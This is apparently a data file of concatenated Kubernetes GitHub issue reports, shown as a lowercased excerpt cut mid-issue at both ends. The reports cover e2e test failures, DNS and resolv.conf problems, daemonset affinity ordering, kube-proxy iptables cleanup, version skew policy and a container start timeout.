k8s-app: dns-controller-test\r     version: v1.5.1\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       k8s-app: dns-controller-test\r   template:\r     metadata:\r       labels:\r         k8s-app: dns-controller-test\r         version: v1.5.1\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: ''\r         scheduler.alpha.kubernetes.io/tolerations: ' {\ key\ : \ dedicated\ , \ value\ : \ master\ } '\r     spec:\r       nodeselector:\r         kubernetes.io/role: master\r       dnspolicy: default    don't use cluster dns  we are likely running before kube-dns \r       hostnetwork: true\r       containers:\r       - name: dns-controller-test\r         image: kope/dns-controller:1.5.1\r         command:\r           - sh\r           - -c\r           - \ exec tail -f /dev/null\ \r         resources:\r           requests:\r             cpu: 50m\r             memory: 50mi\r    \r \r try to drain it ..\r \r   anything else we need to know  :\r \r nope\r \r cc: @justinsb @kubernetes/kubectl @kubernetes/sig-node @foxish

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/316/ failed:  k8s.io  services should be able to change the type and ports of a service  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:777 mar 17 19:38:07.704: could not reach http service through 35.163.41.97:32251 after 5m0s: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:670       previous issues for this test:  26134

pr  46663 gcp internal load balancers for services with type loadbalancer and an annotation specifying \ internal\ .  if the load balancer has  externaltrafficpolicy=global , we generate a backend service name such as  k8s-{clusterid}-internal- tcp/udp - clientip|noaffinity  . this allows other ilbs to utilize the same backend service to keep stay below quota. \r \r however, there are more service settings like  timeoutsec  and  iap  which could be unique to a single or multiple load balancers. we need to support users changing these settings  which may require modifying the backend service name format  prior to 1.7 release.  once the release occurs, it'll be immensely difficult to change names.\r \r \r

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/18 k8sio-deployment-overlapping-deployment-should-not-fight-with-each-other \r  history  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-cvm-1-7-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20deployment%5c%20overlapping%5c%20deployment%5c%20should%5c%20not%5c%20fight%5c%20with%5c%20each%5c%20other \r \r failing as of 6/16\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:98\r failed to update the second deployment's overlapping annotation\r expected error:\r     < errors.errorstring | 0xc4203608c0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1223\r    \r \r  /assign @enisoc

in kuberenetes volume attach/detach controller design, there is an in-memory cache of current actual state  which volume is attached to which instance . in order to make sure the cached state is in sync with the real world, there is a control loop to periodically check the volume attached/detached status through cloudprovider. however, there been some confusion about this checking and what results should return. this doc is intended to clarify the confusion. \r \r in each volume attacher, function volumesareattached is used to check whether a list of volumes are still attached to the node specified in the function. this function internally calls the cloud provider’s disksareattached   function to get the results including a map of volume name to boolean value  attached-> true, detached-false , and an error. the logic is very simple,\r    \r if err != nil {\r          // check failed due to some reason, do nothing \r } else {\r \tfor volume, attached := range attachedresult {\r \t\tif !attached {\r \t\t\t//update volumesattachedcheck result accordingly\r \t\t}\r \t}\r }\r    \r \r for cloud provider’s disksareattached function, there are different ways of checking volume status. but there is some confusion around the returned result for node  instance  failure cases. the following summarizes some of the implementations of different cloud providers.\r \r - check volume status through node instance object. example, gce pd, aws ebs, azure, \r in this type of cloud provider, it first get the instance object through cloud provider api call, and then check whether the volume is still attached on that node. \r    if the node instance is no longer exist  return cloudprovider.instancenotfound error , we can safely assume that volume is no longer attached to the node. so the function return disk is not attached without error\r  note: aws also checks that if the instance status is “terminated”, assume volume is detached already \r \r - check volume status by getting the volume object directly. example, openstack_volume  cinder , rackspace\r in this type of cloud provider, it directly get the disk object, and check whether the attachedserver field to see whether the volume is still attached to the given node. it does not check the node exist or not.\r \r - check node instance object, but returns error if node object is not found. example, photon, vsphere\r if node no longer exist, returns an error. in this case, the volume is still considered as attached in local cache.\r \r the key for the checking here is to understand the underlying node and disk behavior especially when node object is no longer exist, what result should return. \r

this tracking issue, created at the request of @jamiehannaford  issue  50246 , will follow the enablement of k8s e2e testing on stable openstack clusters, using the upstream openstack provider.\r \r currently changes to the openstack provider are not gate tested, which can result in uncaught regressions. this issue will track:\r \r 1. deployment of one or more stable release openstack clusters.\r   a. initial cluster of latest stable release, pike.\r   b. follow up clusters of n-1 and n-2 releases, ocata and newton.\r 2. enabling automated e2e testing on k8s with the openstack provider on these clusters.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   \r   what happened  :\r executing the 'kubectl apply -f xxxx.yaml'\r the error message can not show the apiversion info correctly when i give a not exist kind version+kind :\r \r ~  kubectl apply -f kind-no-match.yaml \r error: unable to recognize \ kind-no-match.yaml\ : no matches for   scheduling.io/  , kind=prioritypreemptionclass\r \r ~  kubectl apply -f kind-no-match-no-group.yaml \r error: unable to recognize \ kind-no-match-no-group.yaml\ : no matches for /, kind=priorityclass\r \r \r   what you expected to happen  :\r i hope the message shown like this:\r \r ~  kubectl apply -f kind-no-match.yaml \r error: unable to recognize \ kind-no-match.yaml\ : no matches for   scheduling.io/v1alpha  , kind=prioritypreemptionclass\r \r ~  kubectl apply -f kind-no-match-no-group.yaml \r error: unable to recognize \ kind-no-match-no-group.yaml\ : no matches for   v1  , kind=priorityclass\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r kind-no-match.yaml \r    \r apiversion: scheduling.io/v1alpha \r kind: prioritypreemptionclass\r metadata:\r   name: high-priority\r value: 1000\r globaldefault: false\r description: \ this  should be used for higher level app.\ \r    \r kind-no-match-no-group.yaml \r    \r apiversion: v1 \r kind: priorityclass\r metadata:\r   name: high-priority\r value: 1000\r globaldefault: false\r description: \ this  should be used for higher level app.\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.2.210+9c962f6d1cb86d\ , gitcommit:\ 9c962f6d1cb86d18aac4ba0fe1062274318d7d19\ , gittreestate:\ clean\ , builddate:\ 2017-11-06t11:39:23z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.2.210+9c962f6d1cb86d\ , gitcommit:\ 9c962f6d1cb86d18aac4ba0fe1062274318d7d19\ , gittreestate:\ clean\ , builddate:\ 2017-11-06t11:21:47z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r hardware\r - os  e.g. from /etc/os-release :\r centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  :\r linux host-10-10-10-97 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 18 11:25:45 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r when user specify a windows mountpath, e.g.  d: , there should be mitigation in pod when it's running on linux otherwise pod mount would fail.\r below is an example, mountpath  d:  could be turned into  /d/  in linux pod\r \r    \r ---\r kind: pod\r apiversion: v1\r metadata:\r   name: nginx-azuredisk\r spec:\r   containers:\r   - image: nginx\r     name: nginx-azuredisk\r     volumemounts:\r     - name: disk01\r       mountpath: 'd:'\r   volumes:\r   - name: disk01\r     persistentvolumeclaim:\r       claimname: pvc-azuredisk\r    \r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign

the validation code at https://github.com/kubernetes/kubernetes/blob/64a7c60e00a1f6cf92710415e0e3dee133ebab7c/cmd/kube-apiserver/app/options/validation.go l49 is never called.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i tried to use  cluster/update-storage-objects.sh  and got the following errors:\r \r    \r $ ./cluster/update-storage-objects.sh\r error: error validating \ /tmp/k8s-kube-system-endpoints-kube-controller-manager.json\ : error validating data: validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ /tmp/k8s-kube-system-endpoints-kube-controller-manager.json\ : error validating data: validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ /tmp/k8s-kube-system-endpoints-kube-controller-manager.json\ : error validating data: validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ /tmp/k8s-kube-system-endpoints-kube-controller-manager.json\ : error validating data: validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ /tmp/k8s-kube-system-endpoints-kube-controller-manager.json\ : error validating data: validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints; if you choose to ignore these errors, turn validation off with --validate=false\r error: failed to update endpoints/kube-controller-manager in kube-system namespace after 5 tries\r    \r \r these errors occur in k8s > 1.7.\r \r   what you expected to happen  :\r \r i expect that the execution of  cluster/update-storage-objects.sh  succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ minikube start --kubernetes-version v1.8.0\r $ git clone --depth 1 -b v1.8.7 https://github.com/kubernetes/kubernetes.git && cd kubernetes\r $ make kubectl\r $ ./cluster/update-storage-objects.sh\r    \r \r   anything else we need to know?  :\r \r    \r $  _output/bin/kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-02-06t07:39:44z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ kubectl get ep -n kube-system kube-controller-manager -o json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ endpoints\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ control-plane.alpha.kubernetes.io/leader\ : \ {\\\ holderidentity\\\ :\\\ minikube\\\ ,\\\ leasedurationseconds\\\ :15,\\\ acquiretime\\\ :\\\ 2018-02-06t07:14:10z\\\ ,\\\ renewtime\\\ :\\\ 2018-02-06t07:26:27z\\\ ,\\\ leadertransitions\\\ :0}\ \r         },\r         \ creationtimestamp\ : \ 2018-02-06t07:14:10z\ ,\r         \ name\ : \ kube-controller-manager\ ,\r         \ namespace\ : \ kube-system\ ,\r         \ resourceversion\ : \ 998\ ,\r         \ selflink\ : \ /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\ ,\r         \ uid\ : \ 53f8beeb-0b0d-11e8-871b-0800272240a0\ \r     },\r     \ subsets\ : null\r }\r

is this a bug report or feature request?:\r \r  \r what happened:\r \r this is a re-hash of  52655 , i've seen network instability as well in a few customer clusters over time, although i'm not sure this was exactly causing it, and this looks like one of a few possible leads.\r \r the issue was noticed when some containers stopped being able to resolve cluster addresses. after a docker daemon restart, ~10% of containers that came up had invalid /etc/resolv.conf files  did not contain kubedns settings, just the host /etc/resolv/conf . this was distributed evenly across the 4 types of images/pod configurations in use.\r \r  what you expected to happen: \r \r all containers should start with a resolv.conf that matches the environment.\r \r  how to reproduce it  as minimally and precisely as possible : \r sudo systemctl restart docker\r these nodes had ~80 pods each\r \r  anything else we need to know?: \r this may or may not be at all relevant  it could just be a coincidence :\r this issue was noticed on 2 servers whose docker daemon was restarted, and the result was 9 containers with this issue, on each node  of an original ~80 . stopping the 9 containers with issues  docker stop ...  resulted in 1 container with this issue, on each node. stopping that 1 container resulted in no containers with this issue.\r \r printed container id + resolv.conf with:\r    \r sudo find /var/lib/docker/containers/ -name resolv.conf -exec sh -c 'echo \ $0\  && cat \ $0\ ' {} ;\r    \r counted containers with issue with  ignoring 1 for the kube-proxy container :\r    \r sudo find /var/lib/docker/containers/ -name resolv.conf -exec cat {} ; | grep 10.0.0.2\r    \r \r //kube-proxy resolv.conf\r    \r nameserver 10.0.0.2\r search ec2.internal\r    \r //expected resolv.conf for other pods\r    \r nameserver 10.128.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local ec2.internal\r options ndots:5\r    \r // invalid resolv.conf\r    \r   this file is managed by man:systemd-resolved 8 . do not edit.\r  \r   this is a dynamic resolv.conf file for connecting local clients directly to\r   all known dns servers.\r  \r   third party programs must not access this file directly, but only through the\r   symlink at /etc/resolv.conf. to manage man:resolv.conf 5  in a different way,\r   replace this symlink by a static file or a different symlink.\r  \r   see man:systemd-resolved.service 8  for details about the supported modes of\r   operation for /etc/resolv.conf.\r \r nameserver 10.0.0.2\r search ec2.internal\r environment:\r    \r \r kubernetes version  use kubectl version : 1.7.2\r cloud provider or hardware configuration  : aws ec2\r os  e.g. from /etc/os-release : container linux by coreos stable  1409.7.0 \r kernel  e.g. uname -a :linux 4.11.11-coreos\r install tools: manual download of kubelet 1.7.2\r others: docker version 1.12.6, build a82d35e\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r tests from   test/e2e/common/init_container.go   are spawning pods with memory limits  30 mb . running the tests using windows nodes will cause the windows nodes to end up in notready state. this happens because the docker service couldn't start that container  because of the low memory limit  and it hangs. this is a known issue.  1 \r \r increasing the memory limit to a more reasonable value  50 mb  solves the issue.\r \r  1  https://github.com/moby/moby/issues/37429\r \r   what you expected to happen  :\r \r the docker service shouldn't hang just because of the low memory limit imposed by a test.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a kubernetes deployment with windows nodes  windows server 1803 \r 2. run the tests, or just spawn the following pod: \r 3. check the node status:   kubectl get nodes  \r 4. on the windows node, check docker's responsiveness by issuing a docker cli command    docker ps -a   . observe that the cli will not receive any answer and it will hang.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows nodes  windows server 1803 \r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when a new daemonset is created with the following affinity in pod template:\r    \r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: foo\r                 operator: in\r                 values:\r                 - bar2\r                 - bar1\r    \r any new pods scheduled for the daemonset are immediately terminated.\r \r   what you expected to happen  :\r daemonset pods to run without getting terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. label node a with foo=bar1\r 2. label node b with foo=bar2\r 3. create a daemonset with the above affinity\r \r   anything else we need to know?  :\r the ordering of the nodeaffinity selector values are important. creating a daemonset with \r    \r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: foo\r                 operator: in\r                 values:\r                 - bar1\r                 - bar2\r    \r doesn't result in the issue.\r \r after creating the daemonset, there are two corresponding controllerrevision objects. on the controllerrevision with the smaller revision, the serialized daemonset pod template is:\r    \r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: foo\r                 operator: in\r                 values:\r                 - bar2\r                 - bar1\r    \r whereas the controllerrevision with the larger revision is:\r    \r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: foo\r                 operator: in\r                 values:\r                 - bar1\r                 - bar2\r    \r .\r additionally, the revisions of the two controllerrevisions constantly increase, so something is regularly creating the controllerrevision with the original ordering, which is immediately overridden by a sorted ordering. as a result, the daemonset controller never ends up creating pods which match the latest controller revision.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.8\ , gitcommit:\ 7eab6a49736cc7b01869a15f9f05dc5b49efb9fc\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:54:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux i-08d35c904744f7d91 4.4.0-137-generic  163~14.04.1-ubuntu smp mon sep 24 17:14:57 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when deleting a node from cluster and then re-add it,  kube-proxy  reports:\r    \r e0506 01:30:37.585653       1 proxier.go:583  error removing iptables rules in ipvs proxier: error deleting chain \ kube-mark-masq\ : exit status 1: iptables: too many links.\r    \r the reason is just the same as  70615. \r   what you expected to happen  :\r that all chains get cleaned up properly.\r   how to reproduce it  as minimally and precisely as possible   :\r restart  kube-proxy  in  iptables  mode, with at least 1 service in k8s cluster.\r   anything else we need to know?  :\r the fix in  70616 does not really fix the whole problem, because the cleaning procedure in  iptables  mode just calls the  ipvs.cleanupleftovers , while this function does not deal with chains created for services  kube-svc-    ,  kube-sep-    . however,  kube-mark-masq  is referenced in  kube-sep-     chains, so it cannot be deleted since there are still references on  them.\r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.5\r - cloud provider or hardware configuration: qiniu elastic compute service\r - os  e.g:  cat /etc/os-release  : centos 7\r - kernel  e.g.  uname -a  : 3.10.0\r - install tools: kubeadm\r - network plugin and version  if this is a network-related bug : calico v3.3\r - others:\r

per  16961, it seems there are needs for running kubelets at versions ahead of masters.  this is not currently recommended in  our versioning policy  https://github.com/kubernetes/kubernetes/blob/master/docs/design/versioning.md upgrades .  there are a number of considerations here,  not the least of which is the feasibility of guaranteeing and testing version skews, .  this issue is meant to be a place to discuss community needs around master/kubelet version skews.   cc @bgrant0607, @brendandburns, @a-robinson, @zmerlynn   from  16961, we've already seen:  @quinton-hoole:  > agree on not supporting bidirectional version skews, unless someone comes up with a legitimate use case for that. my preference would be to eliminate version skew to the maximum extent possible  e.g. mandate a strict ordering of master upgrade before node upgrade, and restrict version skew in that case to a maximum of one minor version difference, purely to allow asynchronous upgrades . but there are currently legitimate use cases  e.g. gke , where we need to support node updates that lag many versions behind master.  @aaronlevy:  > coreos currently ships the kubelet as part of the os image, and the scenario i was testing against is an updated kubelet  1.1  shipping with a new os version, while the master components remain unchanged. >  > if this type of use case isn't supported, it means an automated global update of the kubelet in the os image requires a manual step by all coreos/kubernetes users. for example, all users would need to have updated their masters prior to the os updating with a newer kubelet  and this is not possible to guarantee . alternatively, it would mean coreos couldn't ship updates to the kubelet as part of the os image.  @philips:  > i think a very reasonable use case for version skew is simply being able to roll back a cluster upgrade midstream. imagine i upgrade to kubernetes 1.1 and then start upgrading my kubelets. then i find that kubernetes 1.1 control plane has a bug/performance problem/etc and so i rollback to kubernetes 1.0 control plane until i can solve the issue in 1.1. >  > i agree we should minimize version skew but i think it is fairly practical to allow for rollback and compatibility on both sides of the system.

i am trying to build kubernetes on alpine 3.3, and build an docker image. i create a project to save all script: https://github.com/asdfsx/docker-mesos-k8s it seems like       docker run -it --rm -v \ $pwd\ /go:/go -w /go/src/github.com/kubernetes/kubernetes -v \ $pwd\ /godepbuild:/godepbuild golang:1.5.2-alpine make      but when i execute 'make' i got the following problems      .....   github.com/docker/libcontainer/system godeps/_workspace/src/github.com/docker/libcontainer/system/sysconfig.go:6:20: fatal error: unistd.h: no such file or directory compilation terminated.   github.com/docker/docker/pkg/term godeps/_workspace/src/github.com/docker/docker/pkg/term/tc_linux_cgo.go:10:22: fatal error: termios.h: no such file or directory  //  include <termios.h>                       ^ compilation terminated.   github.com/google/cadvisor/utils/cpuload/netlink godeps/_workspace/src/github.com/google/cadvisor/utils/cpuload/netlink/defs.go:40:19: fatal error: errno.h: no such file or directory compilation terminated.  .......      but i can find these files in the system, for example        find / -name \ termios.h\  /usr/include/asm/termios.h /usr/include/linux/termios.h /usr/include/asm-generic/termios.h      is there anything i should config before compile?

looks like  22284 modified the e2e density test to use dynamically computed resource requests based on the size of an arbitrary node in the cluster.    problem: i have a cluster consisting of differently sized nodes.  it appears the test occasionally picks a larger node, and uses resource requests that are eventually too large to fit on the smaller nodes.  do we.. a  compute resource requests based on the smallest node in the cluster b  go back to hardcoded resource requests for the initial batch of pods, leave the latency pods dynamically computed c  mandate that density can only be run against clusters of uniform node size d  other?  /cc @kubernetes/sig-scalability @wojtek-t

to prevent dosing other jobs in the jenkins project, node e2e instances should be created in their own project.

while trying to cut a release, anago failed to build v1.6.0-alpha.0 due to:\r    \r get:171 http://httpredir.debian.org/debian/ jessie/main socat armel 1.7.2.4-2  312 kb \r fetched 51.7 mb in 15s  3390 kb/s \r e: failed to fetch http://httpredir.debian.org/debian/pool/main/libn/libnetfilter-conntrack/libnetfilter-conntrack3_1.0.4-1_armel.deb  error reading from server. remote end closed connection  ip: 128.31.0.66 80 \r \r e: unable to fetch some archives, maybe run apt-get update or try with --fix-missing?\r the command '/bin/sh -c debian_frontend=noninteractive apt-get update -y     && debian_frontend=noninteractive apt-get -yy -q install     iptables     ebtables     ethtool     ca-certificates     conntrack     util-linux     socat     git     nfs-common     glusterfs-client     cifs-utils     && debian_frontend=noninteractive apt-get upgrade -y     && debian_frontend=noninteractive apt-get autoremove -y     && debian_frontend=noninteractive apt-get clean && rm -rf /var/lib/apt/lists/  /tmp/  /var/tmp/    f01b5655-0185-42e4-93b5-255df0fa51ce' returned a non-zero code: 100\r make 1 :      build  error 1\r make:      release  error 1\r failed\r    \r \r complete build log: https://gist.github.com/saad-ali/435177d31abb2b05efe2c454d3a0bdb6\r \r the following steps did not help:\r   stopped and deleted all docker containers and deleted all docker images. \r   tried multiple different builds.\r \r eventually i was able to get a successful dry run this morning.\r \r cc @david-mcmahon @ixdy @jbeda @kubernetes/test-infra-admins

kubernetes version:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r os version:  coreos stable  1185.5.0  \r \r from the kubelet logs:\r \r    \r dec 20 15:40:30 ip-10-66-21-87.eu-west-1.compute.internal kubelet-wrapper 1401 : i1220 15:40:30.077807    1401 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/75207ba5-c6c6-11e6-8758-06099f2a458d-default-token-3nexu\   spec.name: \ default-token-3nexu\   pod \ 75207ba5-c6c6-11e6-8758-06099f2a458d\   uid: \ 75207ba5-c6c6-11e6-8758-06099f2a458d\  .\r dec 20 15:40:31 ip-10-66-21-87.eu-west-1.compute.internal kubelet-wrapper 1401 : e1220 15:40:31.616962    1401 docker_manager.go:2324  container start failed: runcontainererror: runcontainer: operation timeout: context deadline exceeded\r dec 20 15:40:31 ip-10-66-21-87.eu-west-1.compute.internal kubelet-wrapper 1401 : e1220 15:40:31.617011    1401 pod_workers.go:184  error syncing pod 3d09fff2-c6c7-11e6-8758-06099f2a458d, skipping: failed to \ startcontainer\  for \ prometheus\  with runcontainererror: \ runcontainer: operation timeout: context deadline exceeded\ \r dec 20 15:40:31 ip-10-66-21-87.eu-west-1.compute.internal kubelet-wrapper 1401 : i1220 15:40:31.880783    1401 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/3d09fff2-c6c7-11e6-8758-06099f2a458d-default-token-0shxu\   spec.name: \ default-token-0shxu\   pod \ 3d09fff2-c6c7-11e6-8758-06099f2a458d\   uid: \ 3d09fff2-c6c7-11e6-8758-06099f2a458d\  .\r dec 20 15:40:31 ip-10-66-21-87.eu-west-1.compute.internal kubelet-wrapper 1401 : i1220 15:40:31.881996    1401 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/3d09fff2-c6c7-11e6-8758-06099f2a458d-config-volume\   spec.name: \ config-volume\   pod \ 3d09fff2-c6c7-11e6-8758-06099f2a458d\   uid: \ 3d09fff2-c6c7-11e6-8758-06099f2a458d\  .\r    \r \r docker ps:\r \r    \r 8c2ea1120e4a        prom/prometheus:v1.2.1                                                        \ /bin/prometheus -sto\    10 seconds ago       created                                             k8s_prometheus.edf8dc49_prometheus-227300114-v7z1h_system_3d09fff2-c6c7-11e6-8758-06099f2a458d_af434bd8\r    \r \r no logs on the container:\r \r    \r core@ip-10-66-21-87 ~ $ docker logs 8c2ea1120e4a\r core@ip-10-66-21-87 ~ $\r    \r \r docker inspect:\r \r    \r  \r     {\r         \ id\ : \ 8c2ea1120e4a8b41ca2a0c4ef9afca5d19d790c633e1b965434a0ec9fca9cd04\ ,\r         \ created\ : \ 2016-12-20t15:42:32.840639703z\ ,\r         \ path\ : \ /bin/prometheus\ ,\r         \ args\ :  \r             \ -storage.local.retention=336h\ ,\r             \ -storage.local.memory-chunks=262144\ ,\r             \ -config.file=/etc/prometheus/prometheus.yml\ ,\r             \ -alertmanager.url=http://alertmanager:9093\ ,\r             \ -web.external-url=https://prometheus.dev.uw.systems\ \r          ,\r         \ state\ : {\r             \ status\ : \ created\ ,\r             \ running\ : false,\r             \ paused\ : false,\r             \ restarting\ : false,\r             \ oomkilled\ : false,\r             \ dead\ : false,\r             \ pid\ : 0,\r             \ exitcode\ : 0,\r             \ error\ : \ \ ,\r             \ startedat\ : \ 0001-01-01t00:00:00z\ ,\r             \ finishedat\ : \ 0001-01-01t00:00:00z\ \r         },\r         \ image\ : \ sha256:18eb3e2914849e994e7a22ad84e1ce3c7d41a51eec2ce68584728f36181900bc\ ,\r         \ resolvconfpath\ : \ \ ,\r         \ hostnamepath\ : \ \ ,\r         \ hostspath\ : \ \ ,\r         \ logpath\ : \ \ ,\r         \ name\ : \ /k8s_prometheus.edf8dc49_prometheus-227300114-v7z1h_system_3d09fff2-c6c7-11e6-8758-06099f2a458d_af434bd8\ ,\r         \ restartcount\ : 0,\r         \ driver\ : \ overlay\ ,\r         \ mountlabel\ : \ system_u:object_r:svirt_lxc_file_t:s0:c241,c498\ ,\r         \ processlabel\ : \ system_u:system_r:svirt_lxc_net_t:s0:c241,c498\ ,\r         \ apparmorprofile\ : \ \ ,\r         \ execids\ : null,\r         \ hostconfig\ : {\r             \ binds\ : null,\r             \ containeridfile\ : \ \ ,\r             \ logconfig\ : {\r                 \ type\ : \ json-file\ ,\r                 \ config\ : {}\r             },\r             \ networkmode\ : \ \ ,\r             \ portbindings\ : null,\r             \ restartpolicy\ : {\r                 \ name\ : \ \ ,\r                 \ maximumretrycount\ : 0\r             },\r             \ autoremove\ : false,\r             \ volumedriver\ : \ \ ,\r             \ volumesfrom\ : null,\r             \ capadd\ : null,\r             \ capdrop\ : null,\r             \ dns\ : null,\r             \ dnsoptions\ : null,\r             \ dnssearch\ 